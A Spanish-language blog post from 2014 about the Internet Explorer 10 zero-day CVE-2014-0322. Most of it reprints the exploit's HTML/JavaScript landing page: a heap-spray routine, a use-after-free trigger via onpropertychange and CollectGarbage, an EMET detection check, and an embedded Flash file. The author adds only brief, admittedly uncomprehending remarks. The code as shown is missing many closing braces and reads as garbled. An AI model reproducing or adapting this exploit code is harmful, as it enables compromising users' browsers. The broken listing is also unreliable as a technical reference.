martes, 18 de febrero de 2014

(CVE-2014-0322).- Mas De Información Sobre el 0'day De IE

Si os acordáis hace tres días (cuatro depende como los cuentes xD) escribir sobre el nuevo [0'day para IE] el cual había mucha historia por detrás de la cual aun no he podido enterarme. Pero ya puestos a saber mas sobre la historia me dedique a buscar mas información sobre como funcionaba este exploit y la encontré. Me lo baje rápido y empece a mirarlo junto con la explicaciones de [Blackploit] (un blog que os recomiendo encarecidamente.)


Como podéis ver en el .rar solo había un archivo .html, un .swf y otro .as3 y partiendo de la premisa de que es una ataque centrado en IE 10 y Adobe Flash y  que es necesario un "liberación" previa ([use-after-free]) huele mucho tener un .swf (Adobe Flash tampoco defrauda xD) 

Así que eche un repaso al código fuente del .html en busca de algún script o algún embed que diera lugar a la "reproducción" (no se como decirlo mejor) de este Tope.swf y me sorprendieron un par de cosa. 

<html>
<head id="headId">
<title>main page</title>
<script>
function dword2data(dword) { 
var d = Number(dword).toString(16); 
while (d.length < 8) 
d = '0' + d; 
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4)); 


function developonther(txt) { 
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); 
xmlDoc.async = true; 
xmlDoc.loadXML(txt); 
if (xmlDoc.parseError.errorCode != 0) { 
var err; 
err = "Error Code: " + xmlDoc.parseError.errorCode + "\n"; 
err += "Error Reason: " + xmlDoc.parseError.reason; 
err += "Error Line: " + xmlDoc.parseError.line; 
if (err.indexOf("-2147023083") > 0) { 
return 1; 
} else { 
return 0; 
return 0; 
var g_arr = []; 
var arrLen = 0x250; 

function fun() { 

var a = 0; 
for (a = 0; a < arrLen; ++a) { 
g_arr[a] = document.createElement('div') 
}; 
var b = dword2data(0xdeadc0de); 
var c = 0x1a1b2000; 
while (b.length < 0x360) { 
if (b.length == (0x94 / 2)) { 
b += dword2data(c + 0x10 - 0x0c) 
} else if ( 
b.length == (0x98 / 2)) { 
b += dword2data(c + 0x14 - 0x8) 
} else if (b.length == (0xac / 2)) { 
b += dword2data(c - 0x10) 
} else if (b.length == (0x15c / 2)) { 
b += dword2data(0x42424242) 
} else { 
b += dword2data(0x1a1b2000 - 0x10) 
}; 
var d = b.substring(0, (0x340 - 2) / 2); 
try { 
this.outerHTML = this.outerHTML 
} catch (e) {} 
CollectGarbage(); 
for (a = 0; a < arrLen; ++a) { 
g_arr[a].title = d.substring(0, d.length); 
function puIHa3() { 

var bamboo_go = "<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'res://C:\\windows\\AppPatch\\EMET.DLL'>"; 

if (navigator.userAgent.indexOf("MSIE 10.0") > 0) { 
if (developonther(bamboo_go)) { 

return; 
var a = document.getElementsByTagName("script"); 
var b = a[0]; 
b.onpropertychange = fun; 
var c = document.createElement('SELECT'); 
c = b.appendChild(c); 
} else if (navigator.userAgent.indexOf("IE10") > 0) { 
if (developonther(bamboo_go)) { 

return; 

var a = document.getElementsByTagName("script"); 
var b = a[0]; 
b.onpropertychange = fun; 
var c = document.createElement('SELECT'); 
c = b.appendChild(c); 
</script>
<embed src=Tope.swf width=10 height=10></embed>
</head>
</html>
La verdad es que no llego a saber que hace todo el código correctamente, pero esta claro que utiliza el script para embeder el Tope.swf que esta claro que estará preparado para hacer que Adobe Flash nos de la magia que necesitamos. Ademas de tener un ancho y una altura casi menospreciables. 

Una de las cosas que mas me a gustado es la inclusión de la función fun no podemos discutir que se lo estaba pasando bien cuando programaba esto. Otra cosa que mas me gusta son las continuas comprobaciones que hace para ver si el navegador esta utilizando IE10 y la utilización de la variable bamboo_go (Esta ultima me entraña  bastante curiosidad y por mas que he buscado no tengo ni idea del porqué).

Hacia mucho que no hacia una entrada tan didáctica, para mi quiero decir. Sentarme, "analizar" (si se le puede llamar así) el código y intentar entender lo que hace. Yo aprendo mucho de esta manera aunque algunos os parezca una tontería.  

Por ultimo me gustaría recomendaros el blog de Blackploit del cual es fuente de todo este articulo y fuente también de este material. Os dejo el enlace al blog aquí abajo. 

No hay comentarios:

Publicar un comentario